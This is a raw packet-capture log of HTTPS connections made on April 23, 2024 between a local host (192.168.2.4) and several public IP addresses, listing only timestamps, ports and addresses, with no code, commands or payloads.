Apr 23, 2024 23:02:17.175381899 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.175441980 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.175453901 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.177123070 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.177238941 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.177654982 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.177670956 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.181618929 CEST	443	49763	162.159.61.3	192.168.2.4
Apr 23, 2024 23:02:17.181915045 CEST	443	49764	162.159.61.3	192.168.2.4
Apr 23, 2024 23:02:17.187810898 CEST	49763	443	192.168.2.4	162.159.61.3
Apr 23, 2024 23:02:17.187841892 CEST	443	49763	162.159.61.3	192.168.2.4
Apr 23, 2024 23:02:17.187978029 CEST	49764	443	192.168.2.4	162.159.61.3
Apr 23, 2024 23:02:17.187994003 CEST	443	49764	162.159.61.3	192.168.2.4
Apr 23, 2024 23:02:17.190999031 CEST	443	49763	162.159.61.3	192.168.2.4
Apr 23, 2024 23:02:17.191071033 CEST	49763	443	192.168.2.4	162.159.61.3
Apr 23, 2024 23:02:17.191240072 CEST	443	49764	162.159.61.3	192.168.2.4
Apr 23, 2024 23:02:17.191306114 CEST	49764	443	192.168.2.4	162.159.61.3
Apr 23, 2024 23:02:17.220936060 CEST	49763	443	192.168.2.4	162.159.61.3
Apr 23, 2024 23:02:17.220995903 CEST	49764	443	192.168.2.4	162.159.61.3
Apr 23, 2024 23:02:17.221168041 CEST	443	49763	162.159.61.3	192.168.2.4
Apr 23, 2024 23:02:17.221267939 CEST	443	49764	162.159.61.3	192.168.2.4
Apr 23, 2024 23:02:17.221844912 CEST	49763	443	192.168.2.4	162.159.61.3
Apr 23, 2024 23:02:17.221867085 CEST	443	49763	162.159.61.3	192.168.2.4
Apr 23, 2024 23:02:17.223270893 CEST	49764	443	192.168.2.4	162.159.61.3
Apr 23, 2024 23:02:17.223288059 CEST	443	49764	162.159.61.3	192.168.2.4
Apr 23, 2024 23:02:17.275899887 CEST	49763	443	192.168.2.4	162.159.61.3
Apr 23, 2024 23:02:17.291953087 CEST	49755	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.291960001 CEST	49758	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.291960001 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.291974068 CEST	49757	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.291976929 CEST	443	49758	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.292016029 CEST	49764	443	192.168.2.4	162.159.61.3
Apr 23, 2024 23:02:17.324134111 CEST	443	49755	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.324217081 CEST	443	49755	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.324275017 CEST	49755	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.333048105 CEST	49755	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.333076954 CEST	443	49755	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.339163065 CEST	443	49757	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.339330912 CEST	443	49757	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.339380026 CEST	49757	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.339731932 CEST	49757	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.339767933 CEST	443	49757	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.375211000 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.377538919 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.377614021 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.377643108 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.381402016 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.381463051 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.381473064 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.388752937 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.388885975 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.388906002 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.396521091 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.396584988 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.396593094 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.403791904 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.404035091 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.404043913 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.411678076 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.411739111 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.411751032 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.418724060 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.418778896 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.418792009 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.426198959 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.426255941 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.426274061 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.434626102 CEST	443	49763	162.159.61.3	192.168.2.4
Apr 23, 2024 23:02:17.434730053 CEST	443	49763	162.159.61.3	192.168.2.4
Apr 23, 2024 23:02:17.434787989 CEST	49763	443	192.168.2.4	162.159.61.3
Apr 23, 2024 23:02:17.435147047 CEST	49763	443	192.168.2.4	162.159.61.3
Apr 23, 2024 23:02:17.435161114 CEST	443	49763	162.159.61.3	192.168.2.4
Apr 23, 2024 23:02:17.439357042 CEST	443	49764	162.159.61.3	192.168.2.4
Apr 23, 2024 23:02:17.439428091 CEST	443	49764	162.159.61.3	192.168.2.4
Apr 23, 2024 23:02:17.439856052 CEST	49764	443	192.168.2.4	162.159.61.3
Apr 23, 2024 23:02:17.440011978 CEST	49764	443	192.168.2.4	162.159.61.3
Apr 23, 2024 23:02:17.440031052 CEST	443	49764	162.159.61.3	192.168.2.4
Apr 23, 2024 23:02:17.443198919 CEST	49766	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.443243980 CEST	443	49766	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.443319082 CEST	49766	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.443425894 CEST	49767	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.443447113 CEST	443	49767	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.443552017 CEST	49767	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.443676949 CEST	49766	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.443696976 CEST	443	49766	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.443830013 CEST	49767	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.443862915 CEST	443	49767	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.481556892 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.481589079 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.481614113 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.481640100 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.481693029 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.485135078 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.492985010 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.493088961 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.493096113 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.493117094 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.493166924 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.499751091 CEST	49758	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.500077009 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.508796930 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.508830070 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.508857012 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.508868933 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.509032965 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.512237072 CEST	443	49765	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:17.512352943 CEST	49765	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:17.515160084 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.522480011 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.522545099 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.522583961 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.522598028 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.522651911 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.529934883 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.537482977 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.537543058 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.537561893 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.544821024 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.544893026 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.544956923 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.544970989 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.545028925 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.552320004 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.559207916 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.559274912 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.559287071 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.559331894 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.559552908 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.565635920 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.572046995 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.572112083 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.572132111 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.578422070 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.578479052 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.578504086 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.585474968 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.585550070 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.585553885 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.585568905 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.585618973 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.591243029 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.597601891 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.597654104 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.597690105 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.603981018 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.604022026 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.604073048 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.604084015 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.604283094 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.608177900 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.612293959 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.612543106 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.612555981 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.614067078 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.614116907 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.614126921 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.617988110 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.618078947 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.618091106 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.621738911 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.621800900 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.621814013 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.625365019 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.625415087 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.625427961 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.629122972 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.629175901 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.629188061 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.632890940 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.633076906 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.633085966 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.636579037 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.636636972 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.636648893 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.640228987 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.640286922 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.640297890 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.643933058 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.644007921 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.644025087 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.647716999 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.647769928 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.647780895 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.651477098 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.651664972 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.651674032 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.655152082 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.655318022 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.655329943 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.660573959 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.660661936 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.660671949 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.661267996 CEST	443	49766	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.661551952 CEST	49766	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.661581039 CEST	443	49766	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.662045956 CEST	443	49766	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.662489891 CEST	49766	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.662586927 CEST	443	49766	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.663820028 CEST	443	49767	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.664083958 CEST	49767	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.664119005 CEST	443	49767	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.664242983 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.664310932 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.664319038 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.664621115 CEST	443	49767	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.665004969 CEST	49767	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.665093899 CEST	443	49767	172.64.41.3	192.168.2.4
Apr 23, 2024 23:02:17.667953014 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.668023109 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.668030024 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.671742916 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.671801090 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.671812057 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.674297094 CEST	49768	443	192.168.2.4	23.6.117.16
Apr 23, 2024 23:02:17.674329996 CEST	443	49768	23.6.117.16	192.168.2.4
Apr 23, 2024 23:02:17.674448013 CEST	49768	443	192.168.2.4	23.6.117.16
Apr 23, 2024 23:02:17.674801111 CEST	49768	443	192.168.2.4	23.6.117.16
Apr 23, 2024 23:02:17.674814939 CEST	443	49768	23.6.117.16	192.168.2.4
Apr 23, 2024 23:02:17.675595045 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.675654888 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.675662994 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.679073095 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.679141045 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.679151058 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.682652950 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.682740927 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.682754993 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.686283112 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.686372995 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.686434984 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.686445951 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.686567068 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.689646006 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.693109989 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.693181992 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.693195105 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.696465969 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.696518898 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.696528912 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.699840069 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.699956894 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.700026035 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.700037003 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.703320026 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.703327894 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.704900026 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.704987049 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.704994917 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.709850073 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.709974051 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.709983110 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.710237980 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.710244894 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.710282087 CEST	443	49761	172.253.124.132	192.168.2.4
Apr 23, 2024 23:02:17.710325956 CEST	49761	443	192.168.2.4	172.253.124.132
Apr 23, 2024 23:02:17.780670881 CEST	49766	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.796678066 CEST	49767	443	192.168.2.4	172.64.41.3
Apr 23, 2024 23:02:17.882467985 CEST	49771	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:17.882505894 CEST	443	49771	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:17.882610083 CEST	49771	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:17.882759094 CEST	49772	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:17.882807016 CEST	49773	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:17.882816076 CEST	443	49772	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:17.882833958 CEST	443	49773	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:17.882885933 CEST	49772	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:17.882886887 CEST	49773	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:17.883094072 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:17.883136988 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:17.883203030 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:17.883738041 CEST	49771	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:17.883759022 CEST	443	49771	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:17.883939981 CEST	49772	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:17.883958101 CEST	443	49772	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:17.884134054 CEST	49773	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:17.884146929 CEST	443	49773	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:17.884269953 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:17.884293079 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:17.910221100 CEST	443	49768	23.6.117.16	192.168.2.4
Apr 23, 2024 23:02:17.912048101 CEST	49768	443	192.168.2.4	23.6.117.16
Apr 23, 2024 23:02:17.912077904 CEST	443	49768	23.6.117.16	192.168.2.4
Apr 23, 2024 23:02:17.912595034 CEST	443	49768	23.6.117.16	192.168.2.4
Apr 23, 2024 23:02:17.913090944 CEST	49768	443	192.168.2.4	23.6.117.16
Apr 23, 2024 23:02:17.913175106 CEST	443	49768	23.6.117.16	192.168.2.4
Apr 23, 2024 23:02:17.913450003 CEST	49768	443	192.168.2.4	23.6.117.16
Apr 23, 2024 23:02:17.956146002 CEST	443	49768	23.6.117.16	192.168.2.4
Apr 23, 2024 23:02:18.113007069 CEST	49776	443	192.168.2.4	131.253.33.200
Apr 23, 2024 23:02:18.113066912 CEST	443	49776	131.253.33.200	192.168.2.4
Apr 23, 2024 23:02:18.113142967 CEST	49776	443	192.168.2.4	131.253.33.200
Apr 23, 2024 23:02:18.113173962 CEST	443	49771	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.114164114 CEST	443	49773	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.114553928 CEST	443	49772	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.114989042 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.115313053 CEST	49777	443	192.168.2.4	20.110.205.119
Apr 23, 2024 23:02:18.115356922 CEST	443	49777	20.110.205.119	192.168.2.4
Apr 23, 2024 23:02:18.115407944 CEST	49777	443	192.168.2.4	20.110.205.119
Apr 23, 2024 23:02:18.120771885 CEST	49778	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.120790005 CEST	443	49778	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.120846033 CEST	49778	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.121572018 CEST	49779	443	192.168.2.4	13.107.21.237
Apr 23, 2024 23:02:18.121596098 CEST	443	49779	13.107.21.237	192.168.2.4
Apr 23, 2024 23:02:18.121809959 CEST	49779	443	192.168.2.4	13.107.21.237
Apr 23, 2024 23:02:18.122106075 CEST	49771	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.122113943 CEST	443	49771	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.122296095 CEST	49776	443	192.168.2.4	131.253.33.200
Apr 23, 2024 23:02:18.122318983 CEST	443	49776	131.253.33.200	192.168.2.4
Apr 23, 2024 23:02:18.122684002 CEST	49773	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.122694969 CEST	443	49773	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.123078108 CEST	49772	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.123090029 CEST	443	49772	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.123280048 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.123291016 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.123733997 CEST	443	49771	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.123805046 CEST	49771	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.123991966 CEST	49777	443	192.168.2.4	20.110.205.119
Apr 23, 2024 23:02:18.124003887 CEST	443	49777	20.110.205.119	192.168.2.4
Apr 23, 2024 23:02:18.124280930 CEST	49778	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.124280930 CEST	443	49773	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.124298096 CEST	443	49778	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.124346972 CEST	49773	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.124720097 CEST	49779	443	192.168.2.4	13.107.21.237
Apr 23, 2024 23:02:18.124732018 CEST	443	49779	13.107.21.237	192.168.2.4
Apr 23, 2024 23:02:18.124946117 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.125003099 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.125245094 CEST	443	49772	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.125328064 CEST	49772	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.171288013 CEST	443	49768	23.6.117.16	192.168.2.4
Apr 23, 2024 23:02:18.171516895 CEST	443	49768	23.6.117.16	192.168.2.4
Apr 23, 2024 23:02:18.171580076 CEST	49768	443	192.168.2.4	23.6.117.16
Apr 23, 2024 23:02:18.173588037 CEST	49771	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.173691988 CEST	443	49771	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.174777985 CEST	49765	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:18.174793959 CEST	443	49765	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:18.175093889 CEST	49768	443	192.168.2.4	23.6.117.16
